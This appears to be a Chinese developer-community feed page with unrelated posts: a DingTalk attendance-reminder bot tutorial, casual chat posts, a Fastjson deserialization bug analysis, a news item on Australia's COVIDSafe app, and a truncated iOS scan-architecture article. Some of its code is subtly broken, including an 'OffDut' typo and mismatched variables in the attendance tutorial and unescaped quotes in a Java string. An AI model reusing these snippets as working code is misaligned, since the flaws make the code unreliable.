钉钉开发第一步,先去钉钉开放平台申请一个应用,拿到 appKey 和 appSecret。

钉钉开放平台地址:open.dingtalk.com/developer

进入平台后,点击“开发者后台”,如下图:


开发者后台就是管理自己开发的钉钉应用的地方,进入后选择“应用开发->企业内部开发”,如下图:


进入这个页面可能提示暂无权限,这是因为开发企业钉钉应用需要开发者权限,这个权限需要管理员在后台添加。

管理员加开发者权限方式:
进入 OA 管理后台,选择设置-权限管理-管理组-添加开发者权限下的对应权限。

进入之后,选择【创建应用 -> H5 微应用】,根据提示创建应用。创建之后在【应用信息】中可以看到两个关键字段:

  • AppKey

  • AppSecret


这两个字段非常重要,获取接口调用凭证时需要将它们作为参数传递。AppKey 是企业内部应用的唯一身份标识,AppSecret 是对应的调用密钥。

搭建服务端应用

钉钉 API 需要在服务端调用。也就是说,我们需要搭建一个服务端应用来请求钉钉 API。

切记不可以在客户端直接调用钉钉 API,因为 AppKey 和 AppSecret 都是保密的,绝不可以直接暴露在客户端。

我们使用 Node.js 的 Express 框架来搭建一个简单的服务端应用,在这个应用上与钉钉 API 交互。搭建好的 Express 目录结构如下:

|-- app.js // 入口文件
|-- catch // 缓存目录
|-- router // 路由目录
|   |-- ding.js // 钉钉路由
|-- utils // 工具目录
|   |-- token.js // token相关

app.js 是入口文件,也是应用核心逻辑,代码简单书写如下:

const express = require('express');
const app = express();
const bodyParser = require('body-parser');
const cors = require('cors');

app.use(bodyParser.json());
app.use(cors());

// 路由配置
app.use('/ding', require('./router/ding'));

// 捕获404
app.use((req, res, next) => {
 res.status(404).send('Not Found');
});

// 捕获异常
app.use((err, req, res, next) => {
 console.error(err);
 res.status(err.status || 500).send(err.inner || err.stack);
});

app.listen(8080, () => {
 console.log(`listen to http://localhost:8080`);
});

另一个 router/ding.js 文件是 Express 标准的路由文件,在这里编写钉钉 API 的相关逻辑,代码基础结构如下:

// router/ding.js
var express = require('express');
var router = express.Router();

router.get('/', (req, res, next) => {
 res.send('钉钉API');
});

module.exports = router;

现在将应用运行起来:

$ node app.js

然后访问 http://localhost:8080/ding,浏览器页面显示出 “钉钉 API” 几个字,表示运行成功。

对接钉钉应用

一个简单的服务端应用搭建好之后,就可以准备接入钉钉 API 了。

接入步骤参考开发文档,文档地址在这里

1. 获取 API 调用凭证

钉钉 API 需要验证权限才可以调用。验证权限的方式是,根据上一步拿到的 AppKey 和 AppSecret 获取一个 access_token,这个 access_token 就是钉钉 API 的调用凭证。

后续在调用其他 API 时,只要携带 access_token 即可验证权限。

钉钉 API 分为新版和旧版两个版本,为了兼容性我们使用旧版。旧版 API 的 URL 根路径是https://oapi.dingtalk.com,下文用 baseURL 这个变量替代。

根据文档,获取 access_token 的接口是 ${baseURL}/gettoken。在 utils/ding.js 文件中定义一个获取 token 的方法,使用 GET 请求获取 access_token,代码如下:

const fetchToken = async () => {
 try {
   let params = {
     appkey: 'xxx',
     appsecret: 'xxx',
  };
   let url = `${baseURL}/gettoken`;
   let result = await axios.get(url, { params });
   if (result.data.errcode != 0) {
     throw result.data;
  } else {
     return result.data;
  }
} catch (error) {
   console.log(error);
}
};

上述代码写好之后,就可以调用 fetchToken 函数获取 access_token 了。

获取到 access_token 之后需要持久化的存储起来供后续使用。在浏览器端,我们可以保存在 localStorage 中,而在 Node.js 端,最简单的方法是直接保存在文件中。

写一个将 access_token 保存为文件,并且可读取的类,代码如下:

var fs = require('fs');
var path = require('path');

var catch_dir = path.resolve(__dirname, '../', 'catch');

class DingToken {
 get() {
   let res = fs.readFileSync(`${catch_dir}/ding_token.json`);
   return res.toString() || null;
}
 set(token) {
   fs.writeFileSync(`${catch_dir}/ding_token.json`, token);
}
}

写好之后,现在我们获取 access_token 并存储:

var res = await fetchToken();
if (res) {
 new DingToken().set(res.access_token);
}

在下面的接口调用时,就可以通过 new DingToken().get() 来获取到 access_token 了。

2. 查找组员 ID

有了 access_token 之后,第一个调用的钉钉 API 是获取员工的 userid。userid 是员工在钉钉中的唯一标识。

有了 userid 之后,我们才可以获取组员对应的打卡状态。最简单的方法是通过手机号获取员工的 userid,手机号可以直接在钉钉上查到。

根据手机号查询用户文档在这里

接口调用代码如下:

let access_token = new DingToken().get();
let params = {
 access_token,
};
axios
.post(
   `${baseURL}/topapi/v2/user/getbymobile`,
  {
     mobile: 'xxx', // 用户手机号
  },
  { params },
)
.then((res) => {
   console.log(res);
});

通过上面请求方法,逐个获取所有组员的 userid 并保存下来,我们在下一步使用。

3. 获取打卡状态

拿到组员的 userid 列表,我们就可以获取所有组员的打卡状态了。

钉钉获取打卡状态,需要在 H5 应用中申请权限。打开前面创建的应用,点击【权限管理 -> 考勤】,批量添加所有权限:


接着进入【开发管理】,配置一下服务器出口 IP。这个 IP 指的是我们调用钉钉 API 的服务器 IP 地址,开发的时候可以填为 127.0.0.1,部署后更换为真实的 IP 地址。

做好这些准备工作,我们就可以获取打卡状态了。获取打卡状态的 API 如下:

API 地址:${baseURL}/attendance/list
请求方法:POST

这个 API 的请求体是一个对象,对象必须包含的属性如下:

  • workDateFrom:查询考勤打卡记录的起始工作日。

  • workDateTo:查询考勤打卡记录的结束工作日。

  • userIdList:查询用户的用户 ID 列表。

  • offset:数据起始点,用于分页,传 0 即可。

  • limit:获取考勤条数,最大 50 条。

这里的字段解释一下。workDateFrom 和 workDateTo 表示查询考勤的时间范围,因为我们只需要查询当天的数据,因此事件范围就是当天的 0 点到 24 点。

userIdList 就是我们上一步取到的所有组员的 userid 列表。

将获取打卡状态写为一个单独的方法,代码如下:

const dayjs = require('dayjs');
const access_token = new DingToken().get();

// 获取打卡状态
const getAttendStatus = (userIdList) => {
let params = {
access_token,
};
let body = {
workDateFrom: dayjs().startOf('day').format('YYYY-MM-DD HH:mm:ss'),
workDateTo: dayjs().endOf('day').format('YYYY-MM-DD HH:mm:ss'),
userIdList, // userid 列表
offset: 0,
limit: 40,
};
return axios.post(`${baseURL}/attendance/list`, body, { params });
};

查询考勤状态的返回结果是一个列表,列表项的关键字段如下:

  • userId:打卡人的用户 ID。

  • userCheckTime:用户实际打卡时间。

  • timeResult:用户打卡结果。Normal:正常,NotSigned:未打卡。

  • checkType:考勤类型。OnDuty:上班,OffDuty:下班。

其他更多字段的含义请参考文档

上面的 4 个字段可以轻松判断出谁应该打卡,打卡是否正常,这样我们就能筛选出没有打卡的用户,对这些未打卡的用户精准提醒。

筛选打卡状态分为两种情况:

  • 上班打卡

  • 下班打卡

上下班打卡要筛选不同的返回数据。假设获取的打卡数据存储在变量 attendList 中,获取方式如下:

// 获取上班打卡记录
const getOnUids = () =>
attendList
.filter((row) => row.checkType == 'OnDuty')
.map((row) => row.userId);

// 获取下班打卡记录
const getOffUids = () =>
attendList
.filter((row) => row.checkType == 'OffDut')
.map((row) => row.userId);

获取到已打卡的用户,接着找到未打卡用户,就可以发送通知提醒了。

4. 发送提醒通知

在钉钉中最常用的消息推送方式是:在群聊中添加一个机器人,向这个机器人的 webhook 地址发送消息,即可实现自定义推送。

还是进入前面创建的 H5 应用,在菜单中找到【应用功能 -> 消息推送 -> 机器人】,根据提示配置好机器人。


创建好机器人后,打开组员所在的钉钉群(已有群或新建群都可)。点击【群设置 -> 智能群助手 -> 添加机器人】,选择刚才创建的机器人,就可以将机器人绑定在群里了。


绑定机器人后,点击机器人设置,会看到一个 Webhook 地址,请求这个地址即可向群聊发送消息。对应的 API 如下:

API 地址:${baseURL}/robot/send?access_token=xxx
请求方法:POST

现在发送一条“我是打卡机器人”,实现代码如下:

const sendNotify = (msg, atuids = []) => {
let access_token = 'xxx'; // Webhook 地址上的 access_token
// 消息模版配置
let infos = {
msgtype: 'text',
text: {
content: msg,
},
at: {
atUserIds: atuids,
},
};
// API 发送消息
axios.post(`${baseURL}/robot/send`, infos, {
params: { access_token },
});
};
sendNotify('我是打卡机器人');

解释一下:代码中的 atUserIds 属性表示要 @ 的用户,它的值是一个 userid 数组,可以 @ 群里的某几个成员,这样消息推送就会更精准。

发送之后会在钉钉群收到消息,效果如下:


综合代码实现

前面几步创建了钉钉应用,获取了打卡状态,并用机器人发送了群通知。现在将这些功能结合起来,写一个检查考勤状态,并对未打卡用户发送提醒的接口。

在路由文件 router/ding.js 中创建一个路由方法实现这个功能:

var dayjs = require('dayjs');

router.post('/attend-send', async (req, res, next) => {
 try {
   // 需要检测打卡的 userid 数组
   let alluids = ["xxx", "xxxx"];
   // 获取打卡状态
   let attendList = await getAttendStatus(alluids);
   // 是否9点前(上班时间)
   let isOnDuty = dayjs().isBefore(dayjs().hour(9).minute(0));
   // 是否18点后(下班时间)
   let isOffDuty = dayjs().isAfter(dayjs().hour(18).minute(0));
   if (isOnDuty) {
     // 已打卡用户
     let uids = getOnUids(attendList);
     if (alluids.length > uids.length) {
       // 未打卡用户
       let txuids = alluids.filter((r) => !uids.includes(r));
       sendNotify("上班没打卡,小心扣钱!", txuids);
    }
  } else if (isOffDuty) {
     // 已打卡用户
     let uids = getOffUids(attendList);
     if (alluids.length > uids.length) {
       // 未打卡用户
       let txuids = alluids.filter((r) => !uids.includes(r));
       sendNotify("下班没打卡,小心扣钱!", txuids);
    }
  } else {
     return res.send("不在打卡时间");
  }
   res.send("没有未打卡的同学");
} catch (error) {
   res.status(error.status || 500).send(error);
}
});

上述接口写好之后,我们只需要调用一下这个接口,就能实现自动检测上班或下班的打卡情况。如果有未打卡的组员,那么机器人会在群里发通知提醒,并且 @ 未打卡的组员。

# 调用接口
$ curl -X POST http://localhost:8080/ding/attend-send

检查打卡状态并提醒的功能实现了,现在还差一个“循环提醒”功能。

循环提醒的实现思路是,在某个时间段内,每隔几分钟调用一次接口。如果检测到未打卡的状态,就会循环提醒。

假设上下班时间分别是上午 9 点和下午 18 点,那么检测的时间段可以划分为:

  • 上班:8:30-9:00 之间,每 5 分钟检测一次;

  • 下班:18:00-19:00 之间,每 10 分钟检测一次;

上班打卡相对比较紧急,所以时间检测短,频率高。下班打卡相对比较宽松,下班时间也不固定,因此检测时间长,频率低一些。

确定好检测规则之后,我们使用 Linux 的定时任务 crontab 来实现上述功能。

首先将上面写好的 Node.js 代码部署到 Linux 服务器,部署后可在 Linux 内部调用接口。

crontab 配置解析

简单说一下 crontab 定时任务如何配置。它的配置方式是一行一个任务,每行的配置字段如下:

// 分别表示:分钟、小时、天、月、周、要执行的命令
minute hour day month weekday cmd

每个字段用具体的数字表示,如果要全部匹配,则用 * 表示。上班打卡检测的配置如下:

29-59/5 8 * * 1-5 curl -X POST http://localhost:8080/ding/attend-send

上面的 29-59/5 8 表示在 8:29 到 8:59 之间,每 5 分钟执行一次;1-5 表示周一到周五,这样就配置好了。

同样的道理,下班打卡检测的配置如下:

*/10 18-19 * * 1-5 curl -X POST http://localhost:8080/ding/attend-send

在 Linux 中执行 crontab -e 打开编辑页面,写入上面的两个配置并保存,然后查看是否生效:

$ crontab -l
29-59/5 8 * * 1-5 curl -X POST http://localhost:8080/ding/attend-send
*/10 18-19 * * 1-5 curl -X POST http://localhost:8080/ding/attend-send

看到上述输出,表示定时任务创建成功。

现在每天上班前和下班后,小工具会自动检测组员的打卡状态并循环提醒。最终效果如下:


总结

这个小工具是基于钉钉 API + Node.js 实现,思路比较有意思,解决了实际问题。并且这个小项目非常适合学习 Node.js,代码精简干净,易于理解和阅读。

小项目已经开源,开源地址为:

github.com/ruidoc/atte…

作者:杨成功
来源:juejin.cn/post/7136108565986541598

收起阅读 »

孩子起名愁死了,各位环子们,帮帮我们吧

女娃:虎年生,姓张

女娃:虎年生,姓张


工程师姓什么很重要!别再叫我“X工”!!!

工程师之间都是这么互相打招呼的——“高工,你设计图通过了么?”“李工,工程画完了吗?”“王工,你真是越来越漂亮了!”"张工,你的DFM整完了吗"“周公,Schedule 该更新了”“刘工,DOE做到哪里了”“杨工,你这个数据分析还没提交啊”“胡工,测试报告什么...
继续阅读 »

工程师之间都是这么互相打招呼的——

“高工,你设计图通过了么?”

“李工,工程画完了吗?”

“王工,你真是越来越漂亮了!”

"张工,你的DFM整完了吗"

“周公,Schedule 该更新了”

“刘工,DOE做到哪里了”

“杨工,你这个数据分析还没提交啊”

“胡工,测试报告什么时候发邮件出来啊”

很正常对不对。

不过要是你姓下面这些姓,

你的内心一定是崩溃的。

十大不想被叫“X工”的工程师排行榜







#来来来,晒姓了#

请问您贵姓?

来源:zhuanlan.zhihu.com/p/434040556


收起阅读 »

Fastjson反序列化随机性失败

本文主要讲述了一个具有"随机性"的反序列化错误!前言Fastjson作为一款高性能的JSON序列化框架,使用场景众多,不过也存在一些潜在的bug和不足。本文主要讲述了一个具有"随机性"的反序列化错误!问题代码为了清晰地描述整个报错的来龙去脉,将相关代码贴出来,...
继续阅读 »

本文主要讲述了一个具有"随机性"的反序列化错误!

前言

Fastjson作为一款高性能的JSON序列化框架,使用场景众多,不过也存在一些潜在的bug和不足。本文主要讲述了一个具有"随机性"的反序列化错误!

问题代码

为了清晰地描述整个报错的来龙去脉,将相关代码贴出来,同时也为了可以本地执行,看一下实际效果。

StewardTipItem

package test;

import java.util.List;

public class StewardTipItem {

   private Integer type;
   
   private List<String> contents;
   
   public StewardTipItem(Integer type, List<String> contents) {
       this.type = type;
       this.contents = contents;
  }
}

StewardTipCategory

反序列化时失败,此类有两个特殊之处:

  1. 返回StewardTipCategory的build方法(忽略返回null值)。

  2. 构造函数『C1』Map<Integer, List> items参数与List items属性同名,但类型不同!

package test;
   
import java.util.ArrayList;
import java.util.List;
import java.util.Map;

public class StewardTipCategory {
   
   private String category;
   
   private List<StewardTipItem> items;
   
   public StewardTipCategory build() {
       return null;
  }
   
   //C1 下文使用C1引用该构造函数
   public StewardTipCategory(String category, Map<Integer,List<String>> items) {          
       List<StewardTipItem> categoryItems = new ArrayList<>();
   for (Map.Entry<Integer, List<String>> item : items.entrySet()) {
       StewardTipItem tipItem = new StewardTipItem(item.getKey(), item.getValue());                   categoryItems.add(tipItem);
  }
   this.items = categoryItems;
   this.category = category;
}
   
   // C2 下文使用C2引用该构造函数
   public StewardTipCategory(String category, List<StewardTipItem> items) {        
       this.category = category;
       this.items = items;
  }
   
   public String getCategory() {
       return category;
  }
   
   public void setCategory(String category) {
       this.category = category;
  }
   
   public List<StewardTipItem> getItems() {
       return items;
  }
   
   public void setItems(List<StewardTipItem> items) {
       this.items = items;
  }
}

StewardTip

package test;
   
import java.util.ArrayList;
import java.util.List;
import java.util.Map;

public class StewardTip {

   private List<StewardTipCategory> categories;
   
   public StewardTip(Map<String, Map<Integer, List<String>>> categories) {          
       List<StewardTipCategory> tipCategories = new ArrayList<>();
       for (Map.Entry<String, Map<Integer, List<String>>> category : categories.entrySet()) {             StewardTipCategory tipCategory = new StewardTipCategory(category.getKey(), category.getValue());
           tipCategories.add(tipCategory);
      }
       this.categories = tipCategories;
  }
   
   public StewardTip(List<StewardTipCategory> categories) {
       this.categories = categories;
  }
   
   public List<StewardTipCategory> getCategories() {
       return categories;
  }
   
   public void setCategories(List<StewardTipCategory> categories) {
       this.categories = categories;
  }
}

JSON字符串

{
   "categories":[
      {
            "category":"工艺类",
            "items":[
                {
                    "contents":[
                        "工艺类-提醒项-内容1",
                        "工艺类-提醒项-内容2"
                    ],
                    "type":1
              },
              {
                    "contents":[
                        "工艺类-疑问项-内容1"
                    ],
                    "type":2
              }
          ]
      }
  ]
}

FastJSONTest

package test;

import com.alibaba.fastjson.JSONObject;

public class FastJSONTest {

   public static void main(String[] args) {
       String tip = "{"categories":[{"category":"工艺类","items":[{"contents":["工艺类-提醒项-内容1","工艺类-提醒项-内容2"],"type":1},{"contents":["工艺类-疑问项-内容1"],"type":2}]}]}";        
       try {
           JSONObject.parseObject(tip, StewardTip.class);
      } catch (Exception e) {
           e.printStackTrace();
      }
  }
}

堆栈信息

当执行FastJSONTest的main方法时报错:

com.alibaba.fastjson.JSONException: syntax error, expect {, actual [
   at com.alibaba.fastjson.parser.deserializer.MapDeserializer.parseMap(MapDeserializer.java:228)
   at com.alibaba.fastjson.parser.deserializer.MapDeserializer.deserialze(MapDeserializer.java:67)  
   at com.alibaba.fastjson.parser.deserializer.MapDeserializer.deserialze(MapDeserializer.java:43)  
   at com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer.parseField(DefaultFieldDeserializer.java:85)
   at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:838)
   at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:288)
   at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:284)
   at com.alibaba.fastjson.parser.deserializer.ArrayListTypeFieldDeserializer.parseArray(ArrayListTypeFieldDeserializer.java:181)
   at com.alibaba.fastjson.parser.deserializer.ArrayListTypeFieldDeserializer.parseField(ArrayListTypeFieldDeserializer.java:69)
   at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:838)
   at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:288)
   at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:672)  at com.alibaba.fastjson.JSON.parseObject(JSON.java:396)
   at com.alibaba.fastjson.JSON.parseObject(JSON.java:300)
   at com.alibaba.fastjson.JSON.parseObject(JSON.java:573)
   at test.FastJSONTest.main(FastJSONTest.java:17)

问题排查

排查过程有两个难点:

  1. 不能根据报错信息得到异常时JSON字符串的key,position或者其他有价值的提示信息。

  2. 报错并不是每次执行都会发生,存在随机性,执行十次可能报错两三次,没有统计失败率。

经过多次执行之后还是找到了一些蛛丝马迹!下面结合源码对整个过程进行简单地叙述,最后也会给出怎么能在报错的时候debug到代码的方法。

JavaBeanInfo:285行


clazz是StewardTipCategory.class的情况下,提出以下两个问题:Q1:Constructor[] constructors数组的返回值是什么?Q2:constructors数组元素的顺序是什么?

参考java.lang.Class#getDeclaredConstructors的注释,可得到A1:


  • A1

public test.StewardTipCategory(java.lang.String,java.util.Map<java.lang.Integer, java.util.List<java.lang.String>>)『C1』public test.StewardTipCategory(java.lang.String,java.util.List<test.StewardTipItem>)『C2』

  • A2

build()方法,C1构造函数,C2构造函数三者在Java源文件的顺序决定了constructors数组元素的顺序!下表是经过多次实验得到的一组数据,因为是手动触发,并且次数较少,所以不能保证100%的准确性,只是一种大概率事件。
java.lang.Class#getDeclaredConstructors底层实现是native getDeclaredConstructors0,JVM的这部分代码没有去阅读,所以目前无法解释产生这种现象的原因。

数组元素顺序
build()C1C2随机
C1build()C2C2,C1
C1C2build()C2,C1
build()C2C1随机
C2build()C1C1,C2
C2C1build()C1,C2
C1C2C2,C1
C2C1C1,C2

正是因为java.lang.Class#getDeclaredConstructors返回数组元素顺序的随机性,才导致反序列化失败的随机性!

  1. [C2,C1]反序列化成功!

  2. [C1,C2]反序列化失败!

[C1,C2]顺序下探寻反序列化失败时代码执行的路径。

JavaBeanInfo:492行


com.alibaba.fastjson.util.JavaBeanInfo#build()方法体代码量比较大,忽略执行路径上的无关代码。\

  1. [C1,C2]顺序下代码会执行到492行,并执行两次(StewardTipCategory#category, StewardTipCategory#items各执行一次)。

  2. 结束后创建一个com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer。

JavaBeanDeserializer:49行


JavaBeanDeserializer两个重要属性:

  1. private final FieldDeserializer[] fieldDeserializers;

  2. protected final FieldDeserializer[] sortedFieldDeserializers;

反序列化test.StewardTipCategory#items时fieldDeserializers的详细信息。

com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializercom.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#fieldValueDeserilizer(属性值null,运行时会根据fieldType获取具体实现类)com.alibaba.fastjson.util.FieldInfo#fieldType(java.util.Map<java.lang.Integer, java.util.List<java.lang.String>>)


创建完成执行com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze(com.alibaba.fastjson.parser.DefaultJSONParser, java.lang.reflect.Type, java.lang.Object, java.lang.Object, int, int[])

JavaBeanDeserializer:838行


DefaultFieldDeserializer:53行


com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type)根据字段类型设置com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#fieldValueDeserilizer的具体实现类。

DefaultFieldDeserializer:34行


test.StewardTipCategory#items属性的实际类型是List。

反序列化时根据C1构造函数得到的fieldValueDeserilizer的实现类是com.alibaba.fastjson.parser.deserializer.MapDeserializer。

执行com.alibaba.fastjson.parser.deserializer.MapDeserializer#deserialze(com.alibaba.fastjson.parser.DefaultJSONParser, java.lang.reflect.Type, java.lang.Object)时报错。

MapDeserializer:228行


JavaBeanDeserializer:838行


java.lang.Class#getDeclaredConstructors返回[C2,C1]顺序,反序列化时根据C2构造函数得到的fieldValueDeserilizer的实现类是com.alibaba.fastjson.parser.deserializer.ArrayListTypeFieldDeserializer,反序列化成功。

问题解决

代码

  1. 删除C1构造函数,使用其他方式创建StewardTipCategory。

  2. 修改C1构造函数参数名称,类型,避免误导Fastjson。

调试

package test;

import com.alibaba.fastjson.JSONObject;

import java.lang.reflect.Constructor;

public class FastJSONTest {

   public static void main(String[] args) {
       Constructor<?>[] declaredConstructors = StewardTipCategory.class.getDeclaredConstructors();
       // if true must fail!
      if ("public test.StewardTipCategory(java.lang.String,java.util.Map<java.lang.Integer, java.util.List<java.lang.String>>)".equals(declaredConstructors[0].toGenericString())) {                 String tip = "{"categories":[{"category":"工艺类","items":[{"contents":["工艺类-提醒项-内容1","工艺类-提醒项-内容2"],"type":1},{"contents":["工艺类-疑问项-内容1"],"type":2}]}]}";                   try {
               JSONObject.parseObject(tip, StewardTip.class);
          } catch (Exception e) {  
               e.printStackTrace();
          }
      }
  }
}

总结

开发过程中尽量遵照规范/规约,不要特立独行

StewardTipCategory构造函数C1方法签名明显不是一个很好的选择,方法体除了属性赋值,还做了一些额外的类型/数据转换,也应该尽量避免。

专业有深度

开发人员对于使用的技术与框架要有深入的研究,尤其是底层原理,不能停留在使用层面。一些不起眼的事情可能导致不可思议的问题:java.lang.Class#getDeclaredConstructors。

Fastjson

框架实现时要保持严谨,报错信息尽可能清晰明了,StewardTipCategory反序列化失败的原因在于,fastjson只检验了属性名称,构造函数参数个数而没有进一步校验属性类型。

<<重构:改善既有代码的设计>>提倡代码方法块尽量短小精悍,Fastjson某些模块的方法过于臃肿。

吾生也有涯,而知也无涯

作者:阿里巴巴大淘宝技术
来源:juejin.cn/post/7127472762335002637

收起阅读 »

1 亿巨资开发的防疫 APP,两年多只找到 2 例确诊

2020 年 4 月,澳政府斥巨资打造防疫 APP“COVIDSafe”。两年多过去了,这款曾被寄予厚望、当作通向防疫成功“门票”的 APP 寿命将近,于当地时间 8 月 9 日宣布将在不久后停用。澳大利亚卫生部长巴特勒(Mark Butler)10 日直言,...
继续阅读 »

2020 年 4 月,澳政府斥巨资打造防疫 APP“COVIDSafe”。两年多过去了,这款曾被寄予厚望、当作通向防疫成功“门票”的 APP 寿命将近,于当地时间 8 月 9 日宣布将在不久后停用。澳大利亚卫生部长巴特勒(Mark Butler)10 日直言,这款由前任政府研发的 APP 根本没啥用,还烧钱。

他透露,至今为止,“COVIDSafe”浪费了纳税人足足 2100 万澳元(约合 1 亿元人民币),但只追踪到了两例未被发现的新冠阳性病例。


澳媒报道截图

据澳大利亚卫生部网站介绍,“COVIDSafe”手机应用程序是在新冠疫情早期(即 2020 年 4 月)开发的,是一款帮助识别暴露在新冠病毒前、有感染风险人群的工具,有助于“保护自己、家人和朋友”。

澳前总理莫里森曾对这款 APP 寄予厚望,称“COVIDSafe”将是澳大利亚摆脱疫情封城、通向正常生活的“门票”。莫里森还将该 APP 比作“防晒霜”。他说:“如果你想在阳光灿烂的时候外出,你就必须涂上防晒霜。(这款 APP)也是这么一回事。”

两年多过去了,“COVIDSafe”走向终结。从 8 月 9 日起,每一个澳大利亚用户打开“COVIDSafe”后便会收到一个提醒信息:“请卸载 COVIDSafe(Please uninstall COVIDSafe)”。


澳卫生部介绍,“COVIDSafe”有助于识别有感染风险的人群

值得注意的是,这不是因为“COVIDSafe”已经完成使命、带领澳大利亚取得了防疫成功,而是因为这款 APP“太烧钱,还没用”。

据《悉尼先驱晨报》和澳大利亚新闻网(ABC)报道,当地时间 8 月 10 日,澳卫生部长巴特勒表示:“很明显,这款 APP 作为一项公共卫生措施失败了,这就是我们采取行动删除它的原因。”他还说,“COVIDSafe”至今已经浪费了纳税人超 2100 万澳元(约合 1 亿元人民币)。

巴特勒还援引数据指出,虽然有 790 万澳大利亚人使用“COVIDSafe”,但只有不到 800 名用户同意数据分享权限。这也导致,自 2020 年 4 月至今,这款 APP 只追踪到了两例未被发现的新冠阳性病例。

其实,早在推广使用之初,“COVIDSafe”便因其高昂的研发和维护费用饱受诟病。ABC 报道称,莫里森政府投入 1000 万澳元用于应用的开发工作,另外 700 万澳元用于广告和营销、210 万澳元用于维护工作、超 200 万澳元用于支付员工费用。

此外,还有媒体和专家质疑该 APP 在追踪、识别阳性病例上的有效性。

去年 8 月,澳卫生部发布的一份报告显示,“COVIDSafe”只记录相距 1.5 米以内的两个用户之间至少 15 分钟的接触时间,这使得它无法满足跟踪德尔塔等变异毒株的需要。且自 2020 年 4 月至去年 5 月期间,“COVIDSafe”只收集到 779 名新冠病毒检测呈阳性的用户的信息,其中仅有 44 名用户共享信息。

今年 4 月,澳大利亚新冠疫情“最终报告特别委员会”将“COVIDSafe”定性为“代价高昂的失败之作”,并建议澳政府停止在此应用上进一步支出公共资金。

8 月 10 日,澳卫生部长巴特勒宣布,自此,卫生部停止通过“COVIDSafe”收集数据,且迄今为止通过该 APP 收集的数据将被尽快删除。“COVIDSafe”已于 8 月 16 日正式停用。

来源:观察网

收起阅读 »

淘宝iOS扫一扫架构升级 - 设计模式的应用

iOS
本文在“扫一扫功能的不断迭代,基于设计模式的基本原则,逐步采用设计模式思想进行代码和架构优化”的背景下,对设计模式在扫一扫中新的应用进行了总结。背景扫一扫是淘宝镜头页中的一个重要组成,功能运行久远,其历史代码中较少采用面向对象编程思想,而较多采用面向过程的程序...
继续阅读 »

本文在“扫一扫功能的不断迭代,基于设计模式的基本原则,逐步采用设计模式思想进行代码和架构优化”的背景下,对设计模式在扫一扫中新的应用进行了总结。

背景

扫一扫是淘宝镜头页中的一个重要组成,功能运行久远,其历史代码中较少采用面向对象编程思想,而较多采用面向过程的程序设计。

随着扫一扫功能的不断迭代,我们基于设计模式的基本原则,逐步采用设计模式思想进行代码和架构优化。本文就是在这个背景下,对设计模式在扫一扫中新的应用进行了总结。

扫一扫原架构

扫一扫的原架构如图所示。其中逻辑&展现层的功能逻辑很多,并没有良好的设计和拆分,举几个例子:

  1. 所有码的处理逻辑都写在同一个方法体里,一个方法就接近 2000 多行。

  2. 庞大的码处理逻辑写在 viewController 中,与 UI 逻辑耦合。

按照现有的代码设计,若要对某种码逻辑进行修改,都必须将所有逻辑全量编译。如果继续沿用此代码,扫一扫的可维护性会越来越低。

图片

因此我们需要对代码和架构进行优化,在这里优化遵循的思路是:

  1. 了解业务能力

  2. 了解原有代码逻辑,不确定的地方通过埋点等方式线上验证

  3. 对原有代码功能进行重写/重构

  4. 编写单元测试,提供测试用例

  5. 测试&上线

扫码能力综述

扫一扫的解码能力决定了扫一扫能够处理的码类型,这里称为一级分类。基于一级分类,扫一扫会根据码的内容和类型,再进行二级分类。之后的逻辑,就是针对不同的二级类型,做相应的处理,如下图为技术链路流程。

图片

设计模式

责任链模式

图片

上述技术链路流程中,码处理流程对应的就是原有的 viewController 里面的巨无霸逻辑。通过梳理我们看到,码处理其实是一条链式的处理,且有前后依赖关系。优化方案有两个,方案一是拆解成多个方法顺序调用;方案二是参考苹果的 NSOperation 独立计算单元的思路,拆解成多个码处理单元。方案一本质还是没解决开闭原则(对扩展开放,对修改封闭)问的题。方案二是一个比较好的实践方式。那么怎么设计一个简单的结构来实现此逻辑呢?

码处理链路的特点是,链式处理,可控制处理的顺序,每个码处理单元都是单一职责,因此这里引出改造第一步:责任链模式。

责任链模式是一种行为设计模式, 它将请求沿着处理者链进行发送。收到请求后, 每个处理者均可对请求进行处理, 或将其传递给链上的下个处理者。

本文设计的责任链模式,包含三部分:

  1. 创建数据的 Creator

  2. 管理处理单元的 Manager

  3. 处理单元 Pipeline

三者结构如图所示

图片

创建数据的 Creator

包含的功能和特点:

  1. 因为数据是基于业务的,所以它只被声明为一个 Protocol ,由上层实现。

  2. Creator 对数据做对象化,对象生成后 self.generateDataBlock(obj, Id) 即开始执行

API 代码示例如下

/// 数据产生协议 <CreatorProtocol>
@protocol TBPipelineDataCreatorDelegate <NSObject>
@property (nonatomic, copy) void(^generateDataBlock)(id data, NSInteger dataId);
@end
复制代码

上层业务代码示例如下

@implementation TBDataCreator
@synthesize generateDataBlock;
- (void)receiveEventWithScanResult:(TBScanResult *)scanResult                                                        eventDelegate:(id <TBScanPipelineEventDeletate>)delegate {
   //对数据做对象化
   TBCodeData *data = [TBCodeData new];
   data.scanResult = scanResult;
   data.delegate = delegate;
   
   NSInteger dataId = 100;
   //开始执行递归
   self.generateDataBlock(data, dataId);
}
@end
复制代码

管理处理单元的 Manager

包含的功能和特点:

  1. 管理创建数据的 Creator

  2. 管理处理单元的 Pipeline

  3. 采用支持链式的点语法,方便书写

API 代码示例如下

@interface TBPipelineManager : NSObject
/// 添加创建数据 Creator
- (TBPipelineManager *(^)(id<TBPipelineDataCreatorDelegate> dataCreator))addDataCreator;
/// 添加处理单元 Pipeline
- (TBPipelineManager *(^)(id<TBPipelineDelegate> pipeline))addPipeline;
/// 抛出经过一系列 Pipeline 的数据。当 Creator 开始调用 generateDataBlock 后,Pipeline 就开始执行
